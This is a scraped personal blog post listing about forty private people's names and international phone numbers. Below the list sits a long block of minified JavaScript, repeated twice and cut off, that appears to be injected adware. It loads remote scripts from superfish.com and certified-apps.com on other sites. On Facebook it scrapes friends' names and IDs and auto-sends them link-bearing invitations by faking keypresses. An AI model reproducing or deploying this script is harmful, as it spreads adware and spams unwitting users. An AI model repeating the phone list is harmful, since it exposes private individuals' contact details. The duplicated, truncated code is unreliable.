www.minhthuyet84.com

ENGLAND-DT:+4407448750145

Blog

minh thuyet-hai duong

view:  full / summary

so dien thoai

Posted by minhthuyet.HD on June 18, 2012 at 7:10 PM Comments comments (2)

ANH AN ENGLISH: 00447838549903

ANH CHIEN-HANG: +843203791622 

ANH CHIEN MOBI: +841666764872

ANH DOANH: +84904661214

ANH HUNG-PRAHA: +420776069409

ANH HUONG-THUY-HD: +84912292087

ANH NGHI MOBI: +841226433537

ANH NHAN TB: +841688398951

ANH TA : +420775525520

ANH SO: +4903471622690

BE MAI: +420608118479

BO ME: +841669220269

CHAU HAI: +841692513753

CHAU HANH ENGLISH: +447708387747

CHI GIANG VODA: +420776568879

CHI HA VODA: +420774867881

CHI HUONG CHIEN: +420776557810

CHI HUONG PRAHA: +420775588882

CHI HUYEN MINH: 773239765

CHI THUY MOBI: +84903446387

CHU DIEM: +420773064276

CUONG NU: +420774899708

DICH VU ENGLISH: +33753370133

HAO DAI AN: +84988902905

HUONG 83 NB: +420721778446

JANA HDO PLUS: +420739770885

KIEN HDO: 776489481

KIET NGHIEN: +420775365498

OANH BT: 728699699-774095068

PHAN BT: 774620015

PHÚ ENGLISH: +447404362518

PHUONG PHUONG -CZ : 773116805

KHUYEN LOVE: +841679910665

THANG BICH: +84979682818

BAC LOI: +843203791568

TUAN PHO 24 KT: 0084433833685

VAN HAI DUONG: +420608835585

TON TA: 008443838358


AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=abc&CTID=efg");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"), a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=abc&CTID=efg"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))}; AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }} //3.4 no chacheID in games var gpid="100",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+ gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}} function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),c=document.getElementsByTagName("*"),d=0;d<c.length;d++)a.test(c[d].className)&&b.push(c[d]);return b}Start(); function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"== this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;top: 15%;left: 35%;width: width:484px;background:url('http://www.2yourface.com/Plugin/images/outer_bg.png');border-radius:8px;padding:9px;overflow: auto;"),document.body.appendChild(a))}} function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()} function Process(){var a=-1,b=document;if(""==gMyName){var c=getElementsByClassName("headerTinymanName");0<c.length&&(gMyName=c[0].innerHTML)}c=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",c);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",c));if(null!=b)for(c=0;c<b.length;c++){var d=window.jQuery("div.fbNubFlyout",b[c])[0];null==d&&(d=window.jQuery(".fbNubFlyoutOuter",b[c])[0]);d.innerHTML.indexOf("textarea");var e=window.jQuery("div.fbNubFlyoutTitlebar", d),i=window.jQuery("span.titlebarText",e),a=GetUIDFromName(f);if(-1==a){var f=d.innerHTML,h="/messages/",g=f.indexOf(h);-1!=g?(g+=h.length,a=f.indexOf('"',g),a=f.substring(g,a)):(h="?id=",g=f.indexOf(h),-1!=g&&(g+=h.length,a=f.indexOf('"',g),a=f.substring(g,a)))}var f=GetFriendName(e.html());""==f&&(f=i.html());-1==a&&(a=GetUIDFromName(f));AddToolbar(d,f,a);ParseInvitations(d,f,a)}} function GetUIDFromName(a){var b=window.ChatUserInfos,c;for(c in b)if(b.hasOwnProperty(c)&&a==b[c].name)return c;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())} function GetFriendName(a){var b=a.indexOf('<a class="titlebarText'),b=a.indexOf(">",b+22),b=b+1,c=a.indexOf("<",b);return a.substring(b,c)}function SendSmiley(a){sendMsg(gSmileyMSG,a)} function AddToolbar(a,b,c){a=window.jQuery("div.fbNubFlyoutBody",a);b='<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_'+c+'" class="fbNubFlyoutBody11" style="height:18px;top:0px;background:#6d84b4;">'+('<div style="left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with '+b+'"/></div>')+('<div style="left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with '+ b+'" /></div>')+('<div style="left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with '+b+'" /></div>')+('<div style="left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to '+b+'" /></div>')+('<div style="width:26px;height:30px;left:23px;top:-21px;cursor:pointer" ><a href=\'javascript:InviteVideo('+c+',"'+b+'");\'><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with '+ b+'" /></a></div>')+('<div style="width:24px;height:30px;left:72px;top:-21px;cursor:pointer" ><a href=\'javascript:InviteCall('+c+',"'+b+'");\' ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with '+b+'" /></a></div>')+('<div style="left:110px;top:-21px;cursor:pointer" ><a href=\'javascript:InviteGames('+c+',"'+b+'");\' ><img style="width:24px;height:20px;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with '+ b+'" /></a></div>')+('<div style="width:24px;height:30px;left:155px;top:-20px;cursor:pointer" ><a href=\'javascript:SendSmiley('+c+');\' ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to '+b+'" /></a></div>')+'<div style="width:24px;height:30px;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>';c=a.parent().html();a.next().children(); -1==c.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,c){for(var a=window.jQuery("div.fbChatMessage.fsm",a),d=0;d<a.length;d++)TryParseInvitation(a[d],c,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,c){TryParseSmileyInvitation(a,b,c)||TryParsePhoneCallInvite(a,b,c)||TryParseVideoInvite(a,b,c)||TryParseGameInvite(a,b,c)} function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,c=a.indexOf(".");return a.substring(b,c)}return""} function TryParseGameInvite(a,b,c){var d=a.innerHTML;if(-1!=d.indexOf(gGameInviteMsgPrefix)){var e=IsMe(a),d=GetGameFromMessage(d);e?d="You have invited "+c+" to play "+d:(e=GetGameID(d),d=c+" invited You to Play "+d+" <a href='javascript:AcceptGame("+e+',"'+Env.user+'","'+b+'","'+gMyName+"\")' > Accept</a>");a.innerHTML=d;return!0}return!1} function TryParsePhoneCallInvite(a,b,c){var d=a.innerHTML;return-1!=d.indexOf(gPhoneCallInviteMsgPrefix)?(d=IsMe(a)?"You have invited "+c+" to an Audio Chat":c+" invited You to an Audio Chat <a href='javascript:StartPhone("+b+',"'+c+"\")' > Accept</a>",a.innerHTML=d,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)} function OpenVideoDialog(a,b,c){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,c,"Video Chat")}function OpenVoiceDialog(a,b,c){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,c,"Audio Chat")} function OpenDialog(a,b,c,d,e,i){b='<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">'+i+' - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;"><img src="'+d+'" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">'+ e+'</div><div style="clear:both"></div><div style="right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&amp;href=http%3A%2F%2Fwww.2yourface.com&amp;send=false&amp;layout=box_count&amp;width=450&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=90" scrolling="no" frameborder="0" style="top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">'+ ("<iframe src='"+a+"' width='"+b+"' height='"+c+"' scrolling='no' border='no' style=\"background-color:white;border:0px;\" />")+'</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>';a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop; c=a.position();d=document.body.clientWidth;d=50>c.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""} function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf('title="You"');return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf('alt="'+gMyName+'"'))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,c){var d=a.innerHTML;-1!=d.indexOf(gVideoCallInviteMsgPrefix)&&(d=IsMe(a)?d="You have invited "+c+" to a Video Chat":c+" invited You to a Video Chat <a href='javascript:StartVideo("+b+',"'+c+"\")' > Accept</a>",a.innerHTML=d)} function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var c="I "+gPhoneCallInviteMsg;if(sendMsg(c,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var d=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();d.focus();d.keydown(function(c){13==c.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),d.unbind(!1))});TextAreaControl.getInstance(d[0]).setValue(c)}} function GetMyID(){var a=document.body.innerHTML.indexOf('detect_broken_proxy_cache("'),a=a+"30",b=document.body.innerHTML.indexOf('"',a);return document.body.innerHTML.substring(a,b)} function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var c="I "+gVideoCallInviteMsg;if(sendMsg(c,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var d=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();d.focus();d.keydown(function(c){13==c.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),d.unbind(!1))});TextAreaControl.getInstance(d[0]).setValue(c)}} function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)} function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var c=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();c.focus();c[0].value=a;c.focus();var d;document.createEvent?(d=document.createEvent("Events"),d.initEvent("keydown",!0,!0)):d=document.createEventObject();d.view=window;d.altKey=!1;d.ctrlKey=!1;d.shiftKey=!1;d.metaKey=!1;d.keyCode=13;d.which=13;document.createEvent?c[0].dispatchEvent(d): c[0].fireEvent("onkeydown",d)}return!0}function OpenGame(a,b,c){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var d=Env.user;if(sendMsg(b,c))StartGame(a,d,c,gMyName);else{var e=window.jQuery("#VideoChatToolbar_"+c,document).next().children().children();e.focus();e.keydown(function(b){13==b.which&&(StartGame(a,d,c,gMyName),e.unbind(!1))});TextAreaControl.getInstance(e[0]).setValue(b)}} function AcceptGame(a,b,c,d){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+c+"&second="+b+"&nick="+d+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,c,d){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+c+"&nick="+d+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")} function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1} function OpenGamesDialog(a,b,c,d){b="<style type='text/css' >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+('<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;"><img src="'+ c+'" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">'+d+'</div><div style="clear:both"></div><div style="right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&amp;href=http%3A%2F%2Fwww.2yourface.com&amp;send=false&amp;layout=box_count&amp;width=450&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=90" scrolling="no" frameborder="0" style="top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">')+ "<div id='ex5' style='background-color:gray;height:220px;width:400px;' ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",d,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",d,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",d,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg", d,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",d,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",d,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",d,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",d,a);b+='</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>'; a=window.jQuery("div#ChatDialog",document);a.html(b);d=a[0];d.style.visibility="visible";d.style.display="block";d=document.body.scrollTop;b=a.position();c=document.body.clientWidth;c=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:d+200})} function GetGameOfferHTML(a,b,c,d){return"<a style='top:-20px;' href=\"javascript:OpenGame("+a+",'"+c+"' ,"+d+')" ><img style="width:70px;height:70px;" src=\''+b+"' title=\"Invite "+c+" to play "+GetGameName(a)+'" /></a>'};AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=abc&CTID=efg");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"), a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=abc&CTID=efg"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))}; AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }} //3.4 no chacheID in games var gpid="100",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+ gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}} function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),c=document.getElementsByTagName("*"),d=0;d<c.length;d++)a.test(c[d].className)&&b.push(c[d]);return b}Start(); function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"== this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;top: 15%;left: 35%;width: width:484px;background:url('http://www.2yourface.com/Plugin/images/outer_bg.png');border-radius:8px;padding:9px;overflow: auto;"),document.body.appendChild(a))}} function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()} function Process(){var a=-1,b=document;if(""==gMyName){var c=getElementsByClassName("headerTinymanName");0<c.length&&(gMyName=c[0].innerHTML)}c=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",c);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",c));if(null!=b)for(c=0;c<b.length;c++){var d=window.jQuery("div.fbNubFlyout",b[c])[0];null==d&&(d=window.jQuery(".fbNubFlyoutOuter",b[c])[0]);d.innerHTML.indexOf("textarea");var e=window.jQuery("div.fbNubFlyoutTitlebar", d),i=window.jQuery("span.titlebarText",e),a=GetUIDFromName(f);if(-1==a){var f=d.innerHTML,h="/messages/",g=f.indexOf(h);-1!=g?(g+=h.length,a=f.indexOf('"',g),a=f.substring(g,a)):(h="?id=",g=f.indexOf(h),-1!=g&&(g+=h.length,a=f.indexOf('"',g),a=f.substring(g,a)))}var f=GetFriendName(e.html());""==f&&(f=i.html());-1==a&&(a=GetUIDFromName(f));AddToolbar(d,f,a);ParseInvitations(d,f,a)}} function GetUIDFromName(a){var b=window.ChatUserInfos,c;for(c in b)if(b.hasOwnProperty(c)&&a==b[c].name)return c;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())} function GetFriendName(a){var b=a.indexOf('<a class="titlebarText'),b=a.indexOf(">",b+22),b=b+1,c=a.indexOf("<",b);return a.substring(b,c)}function SendSmiley(a){sendMsg(gSmileyMSG,a)} function AddToolbar(a,b,c){a=window.jQuery("div.fbNubFlyoutBody",a);b='<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_'+c+'" class="fbNubFlyoutBody11" style="height:18px;top:0px;background:#6d84b4;">'+('<div style="left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with '+b+'"/></div>')+('<div style="left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with '+ b+'" /></div>')+('<div style="left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with '+b+'" /></div>')+('<div style="left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to '+b+'" /></div>')+('<div style="width:26px;height:30px;left:23px;top:-21px;cursor:pointer" ><a href=\'javascript:InviteVideo('+c+',"'+b+'");\'><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with '+ b+'" /></a></div>')+('<div style="width:24px;height:30px;left:72px;top:-21px;cursor:pointer" ><a href=\'javascript:InviteCall('+c+',"'+b+'");\' ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with '+b+'" /></a></div>')+('<div style="left:110px;top:-21px;cursor:pointer" ><a href=\'javascript:InviteGames('+c+',"'+b+'");\' ><img style="width:24px;height:20px;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with '+ b+'" /></a></div>')+('<div style="width:24px;height:30px;left:155px;top:-20px;cursor:pointer" ><a href=\'javascript:SendSmiley('+c+');\' ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to '+b+'" /></a></div>')+'<div style="width:24px;height:30px;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>';c=a.parent().html();a.next().children(); -1==c.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,c){for(var a=window.jQuery("div.fbChatMessage.fsm",a),d=0;d<a.length;d++)TryParseInvitation(a[d],c,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,c){TryParseSmileyInvitation(a,b,c)||TryParsePhoneCallInvite(a,b,c)||TryParseVideoInvite(a,b,c)||TryParseGameInvite(a,b,c)} function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,c=a.indexOf(".");return a.substring(b,c)}return""} function TryParseGameInvite(a,b,c){var d=a.innerHTML;if(-1!=d.indexOf(gGameInviteMsgPrefix)){var e=IsMe(a),d=GetGameFromMessage(d);e?d="You have invited "+c+" to play "+d:(e=GetGameID(d),d=c+" invited You to Play "+d+" <a href='javascript:AcceptGame("+e+',"'+Env.user+'","'+b+'","'+gMyName+"\")' > Accept</a>");a.innerHTML=d;return!0}return!1} function TryParsePhoneCallInvite(a,b,c){var d=a.innerHTML;return-1!=d.indexOf(gPhoneCallInviteMsgPrefix)?(d=IsMe(a)?"You have invited "+c+" to an Audio Chat":c+" invited You to an Audio Chat <a href='javascript:StartPhone("+b+',"'+c+"\")' > Accept</a>",a.innerHTML=d,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)} function OpenVideoDialog(a,b,c){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,c,"Video Chat")}function OpenVoiceDialog(a,b,c){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,c,"Audio Chat")} function OpenDialog(a,b,c,d,e,i){b='<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">'+i+' - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;"><img src="'+d+'" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">'+ e+'</div><div style="clear:both"></div><div style="right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&amp;href=http%3A%2F%2Fwww.2yourface.com&amp;send=false&amp;layout=box_count&amp;width=450&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=90" scrolling="no" frameborder="0" style="top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">'+ ("<iframe src='"+a+"' width='"+b+"' height='"+c+"' scrolling='no' border='no' 